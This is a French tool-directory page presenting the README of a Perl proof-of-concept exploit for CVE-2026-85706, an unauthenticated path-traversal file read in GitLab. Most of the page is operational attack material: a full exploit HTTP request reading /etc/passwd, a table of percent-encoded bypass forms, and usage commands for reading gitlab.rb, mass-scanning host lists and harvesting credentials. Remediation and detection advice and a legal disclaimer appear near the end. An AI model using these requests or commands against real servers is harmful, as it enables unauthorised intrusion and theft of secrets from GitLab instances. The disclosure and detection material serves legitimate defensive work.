Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/gabrielunknown/cve-2026-85706
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'IntrusionRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

PoC Perl exploitant CVE-2026-85706, une traversée de chemin GitLab non authentifiée permettant la lecture arbitraire de fichiers, avec analyse en masse et collecte d'identifiants.

Voir le dépôt
il y a 8h 39mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-85706 — Lecture de fichiers arbitraire non authentifiée dans GitLab

CVSS GitLab License MITRE

Pour les tests d'intrusion autorisés et les opérations Red Team uniquement.
Toute utilisation non autorisée constitue une infraction pénale. Voir Mentions légales.


Aperçu

CVE-2026-85706 est une vulnérabilité de traversée de chemin (path traversal) de score CVSS 10.0 affectant les éditions Community et Enterprise de GitLab, qui permet à un attaquant totalement non authentifié de lire des fichiers arbitraires du système de fichiers du serveur avec une seule requête HTTP. Aucun identifiant, aucun jeton, aucune interaction utilisateur requise.

  • Divulguée : 10 septembre 2026
  • Première exploitation observée : 11 septembre 2026 (dans les 6 heures suivant la divulgation)
  • Ajoutée au catalogue KEV de la CISA : 11 septembre 2026
  • Corrigée dans : GitLab 19.1.8 / 19.2.6 / 19.3.2

  • Versions affectées

    BranchePlage vulnérableCorrigée dans
    18.x18.7 → 19.1.719.1.8
    19.219.2.0 → 19.2.519.2.6
    19.319.3.0 → 19.3.119.3.2

    Analyse technique

    Contexte architectural

    La pile HTTP de GitLab comporte trois couches :

    root@kitploit:~
    Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
    

    Workhorse agit comme un proxy inverse intelligent : pour certains points de terminaison « upload » (commits de dépôt, opérations sur les fichiers), il lit les corps de requête multipart, enregistre les données de fichier sur disque et réécrit la requête avant de la transmettre à Puma. Point crucial : il attache un en-tête JWT (Gitlab-Workhorse-Api-Request) à chaque requête qu'il proxifie. Rails valide ensuite ce JWT (via require_gitlab_workhorse!) avant d'exécuter toute logique de gestionnaire.

    Cause racine — Incohérence de décodage de chemin à trois couches

    Couche 1 — Correspondance de route Workhorse :
    Workhorse fait correspondre les chemins de requête à l'aide d'une expression régulière compilée qui opère sur la chaîne d'octets brute, encodée en pourcentage. Il ne décode PAS les séquences %XX avant la correspondance.

    Couche 2 — Routage Puma/Rack :
    Puma décode les séquences %XX avant que Grape ne route la requête. Ainsi, une requête vers /repository/%63ommits est décodée en /repository/commits et routée vers CommitsController.

    Couche 3 — Lecture de fichier pré-authentification :
    Une fois dans le gestionnaire Rails (atteint sans le JWT de Workhorse, car Workhorse n'a jamais fait correspondre la requête), le gestionnaire lit params[:file][:path] depuis la chaîne de requête et appelle :

    root@kitploit:~
    File.open(params[:file][:path])   # ← se produit AVANT l'authentification
    

    L'astuce de contournement

    En encodant en pourcentage un caractère dans un segment de chemin statique, la requête de l'attaquant passe à côté de Workhorse sans être détectée :

    SegmentOriginalForme de contournementCaractère encodé
    commitscommits%63ommitsc → %63
    commitscommits%43ommitsC → %43
    repositoryrepository%72epositoryr → %72
    filesfiles%66ilesf → %66
    (any)commitscommits/barre oblique finale
    (any)commitscommits.jsonsuffixe Grape

    Mécanisme d'exfiltration de contenu

    Après l'ouverture du fichier, le contenu est exfiltré via l'analyseur de chaîne de requête de Rack :

    root@kitploit:~
    Rack::Utils.parse_nested_query(File.read(path))
    

    Si le fichier contient un % non suivi de deux chiffres hexadécimaux valides (ce qui est courant dans les fichiers de configuration Ruby, les YAML de CI, les journaux, etc.), Rack lève :

    root@kitploit:~
    InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
    

    Ce corps de réponse 400 contient le contenu brut du fichier jusqu'à l'octet fautif inclus — révélant le contenu du fichier à l'appelant non authentifié.

    Les fichiers sans séquences % exploitables (par ex. un /etc/passwd propre) renvoient un 401 ou une erreur de validation de paramètre après la lecture : cela agit comme un oracle d'existence de fichier (la lecture a bien eu lieu avant l'authentification).

    Structure de la requête d'exploitation

    root@kitploit:~
    POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
    Host: gitlab.corp.com
    User-Agent: cve-2026-85706-perl-poc/1.0.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Cartographie MITRE ATT&CK

    TechniqueIDImplémentation dans ce PoC
    File and Directory DiscoveryT1083Le mode --scan sonde 38 chemins sensibles du serveur
    Credentials In FilesT1552.001--harvest extrait les clés/jetons/mots de passe du contenu divulgué

    Installation

    Prérequis

    ModulePaquetRôle
    LWP::UserAgentlibwww-perlClient HTTP (obligatoire)
    LWP::Protocol::httpslibwww-perlPrise en charge HTTPS (obligatoire)
    URI::Escapeliburi-perlEncodage de chaîne de requête (obligatoire)
    Term::ANSIColorlibterm-ansicolor-perlSortie colorée (facultatif)
    JSONlibjson-perlMode de sortie JSON (facultatif)
    root@kitploit:~
    # Debian/Ubuntu
    apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
    
    # RHEL/Fedora
    sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
    
    # CPAN
    cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
    
    # Make executable
    chmod +x exploit.pl
    

    Utilisation

    root@kitploit:~
    Usage: exploit.pl [OPTIONS]
    
    Target:
      -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
      -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                                  Commits API forms: project must be anonymously accessible
                                  Files API forms:   any value works (file read precedes auth)
    
    Exploitability check:
      -c, --check                Single-target check (quick by default — ≤9 requests)
          --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
      -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                                 Add --full for the 4-stage sweep on every host
    
    Single-file read:
      -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)
    
    Scan mode (T1083 — File and Directory Discovery):
      -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
      -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
      -H, --harvest              Extract credentials from leaked content (T1552.001)
    
    Output:
      -o, --output <FILE>        Tee all output to file
      -j, --json                 Emit results as JSON array (requires JSON.pm)
      -v, --verbose              Print full request URL before each probe
          --no-color             Disable ANSI colour output
    
    Connection:
      -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
      -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
      -r, --retries <N>          Retry count on connection error  [default: 2]
      -A, --user-agent <STR>     Override User-Agent string
    

    Vérification rapide vs complète

    Rapide (par défaut)Complète (--full)
    Requêtes≤9 (1 pré-vol + ≤4×2)27+
    Sortie anticipéeOui — s'arrête au premier différentiel confirméNon — balaie les 22 formes
    Informations de versionNonOui
    Formes de contournement4 représentatives de l'API FilesLes 22 (API Commits + Files)
    Idéal pourReconnaissance rapide, grandes listes d'hôtesRapports de pentest, préparation --file/--scan

    Pipeline de vérification rapide :

    1. GET /api/v4/version — accessibilité + indice GitLab
    2. Pour chacune des 4 formes de contournement de l'API Files : sonde /etc/hostname + canari unique
    3. canary → 'local file not present' ∧ hostname ≠ canary → VULNÉRABLE (sortie immédiate)
    4. Toutes les formes épuisées sans différentiel → NON VULNÉRABLE

    Pipeline de vérification complète (--full) :

    1. Détection GitLab + empreinte de version
    2. Sonde de contrôle (référence Workhorse)
    3. Les 22 formes de contournement × chemin canari
    4. Confirmation différentielle avec la meilleure forme confirmée

    --project-id et modes de vérification

    L'option --project-id est utilisable dans tous les modes, y compris --check et --check-host-list. Comprendre l'interaction :

    Groupe de contournementFormesDépendance à l'ID de projet
    API Files (%66iles, %46iles, re%70ository/files, …)14Aucune — la lecture de fichier précède la vérification du projet par conception de la CVE. Tout ID (même inexistant) produit le signal correct.
    API Commits (%63ommits, %43ommits, repository/commits/, …)8Requise — le projet doit exister et être lisible anonymement. Renvoie project-gate sinon.

    Conseils pratiques :

    • --check (rapide) : utilise uniquement les formes de l'API Files → l'ID de projet est sans importance.
    • --check --full : teste les 22 formes. Si vous connaissez un ID de projet public, passez --project-id <N> pour confirmer également les formes de l'API Commits.
    • --check-host-list : un seul --project-id correspond rarement à un projet public sur tous les hôtes. Omettez-le.

    Exemples

    root@kitploit:~
    # Quick check — ≤9 requests, binary verdict
    ./exploit.pl -u https://gitlab.corp.com --check
    
    # Quick check with known public project (extends Commits API coverage in --full mode)
    ./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)
    
    # Full 4-stage check — version + all 22 bypass forms enumerated
    ./exploit.pl -u https://gitlab.corp.com --check --full
    
    # Quick scan of a host list (≤9 probes per host)
    ./exploit.pl --check-host-list targets.txt
    
    # Full scan of a host list (version info in summary table)
    ./exploit.pl --check-host-list targets.txt --full
    
    # Host list, JSON output for pipeline integration
    ./exploit.pl --check-host-list targets.txt --json --output results.json
    
    # Host list with 2-second inter-host delay and saved report
    ./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
    
    # Read a single file
    ./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
    
    # Read GitLab master config and extract credentials
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
    
    # Full discovery scan with credential harvesting, log to file
    ./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
    
    # Custom wordlist, JSON output, 1-second delay between requests
    ./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
    
    # Verbose single-file read (shows full request URLs)
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
    

    Verdicts de réponse

    VerdictSignification
    leakContenu du fichier renvoyé dans le corps de la réponse via l'erreur d'analyse Rack
    leak-fragmentRenvoi partiel du contenu via un fragment de nom de paramètre
    read-noechoHTTP 401 sur le chemin de contournement — ambigu : soit la lecture du fichier a eu lieu avant l'authentification (vulnérable, contenu propre sans mauvaise séquence %), soit l'authentification se déclenche avant la lecture (serveur corrigé). Utilisez --check pour confirmer par différentiel
    missingLe chemin de contournement a fonctionné ; gestionnaire atteint ; fichier absent ou non lisible
    rewriteWorkhorse a intercepté cette forme de chemin — contournement échoué
    project-gateL'API Commits a rejeté le projet ; essayez les formes de l'API Files
    norouteRails n'a pas routé cette variante de chemin

    Améliorations par rapport au PoC Python original

    FonctionnalitéPoC PythonCe PoC Perl
    Variantes de chemin de contournement615
    Analyse de fichiers en masse (T1083)✗✓ Liste de 38 chemins intégrée
    Collecte d'identifiants (T1552.001)✗✓ 22 motifs d'identifiants
    Sortie JSON✗✓ --json
    Sortie fichier / tee✗✓ --output
    Messages d'oracle d'existence de fichierBasiquesExplicites, avec code couleur
    Logique de nouvelle tentative✗✓ --retries configurable
    Délai par requête✗✓ --delay (secondes flottantes)
    User-Agent personnalisé✗✓ --user-agent
    IDs de namespace/projet✗✓ Encode automatiquement / → %2F
    Mode verbeux✗✓ --verbose

    Remédiation

    1. Corrigez immédiatement : mettez à niveau vers GitLab 19.1.8, 19.2.6 ou 19.3.2.
    2. À court terme : restreignez l'accès public à l'instance GitLab via des contrôles réseau.
    3. Rotation des identifiants : après la correction, faites tourner tous les secrets qui auraient pu être exposés :
      • secret_key_base et otp_key_base dans gitlab.rb
      • Mots de passe de base de données
      • Clés SSH (/home/git/.ssh/, /root/.ssh/)
      • Variables CI/CD et jetons d'enregistrement de runner
      • Jetons de déploiement et jetons d'accès personnels

    Détection

    Recherchez les requêtes POST ou PUT vers des chemins /api/v4/projects/*/repository/ contenant :

    • Des segments statiques encodés en pourcentage (%63, %43, %72, %70, %66, %46, etc.)
    • Le paramètre de requête file.path
    • Une barre oblique finale ou un suffixe de format .json sur les points de terminaison commits ou files

    Références

    • CVE Record — cve.org
    • GitLab Patch Release 19.3.2
    • The Hacker News — CVSS 10 coverage
    • Forkast News — Technical breakdown
    • Security Affairs — Active exploitation
    • Python PoC — guneykabel
    • MITRE T1083 — File and Directory Discovery
    • MITRE T1552.001 — Credentials In Files

    Mentions légales

    Cet outil est fourni strictement pour :

    • Les missions de tests d'intrusion autorisées (autorisation écrite requise)
    • Les opérations Red Team dans le périmètre contractuel
    • La recherche en sécurité dans des environnements de laboratoire contrôlés et isolés
    • Les compétitions CTF (Capture The Flag)
    • Les objectifs défensifs : comprendre la vulnérabilité pour la détecter/l'atténuer

    Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test est illégale dans pratiquement toutes les juridictions et peut entraîner des poursuites pénales en vertu des lois sur l'usage abusif de l'informatique (CFAA, Computer Misuse Act, etc.).

    L'auteur et les contributeurs de cet outil n'assument aucune responsabilité pour tout usage abusif ou dommage causé par ce logiciel.


    Crédits

    • PoC Python original : guneykabel — preuve de concept initiale qui a démontré la technique de contournement principale
    • Attribution et divulgation de la CVE : GitLab Security Team
    • Ce PoC Perl : moteur de détection multi-formes étendu, collecte d'identifiants, analyse en masse, sortie de pipeline JSON et logique de confirmation différentielle
    Télécharger l’outil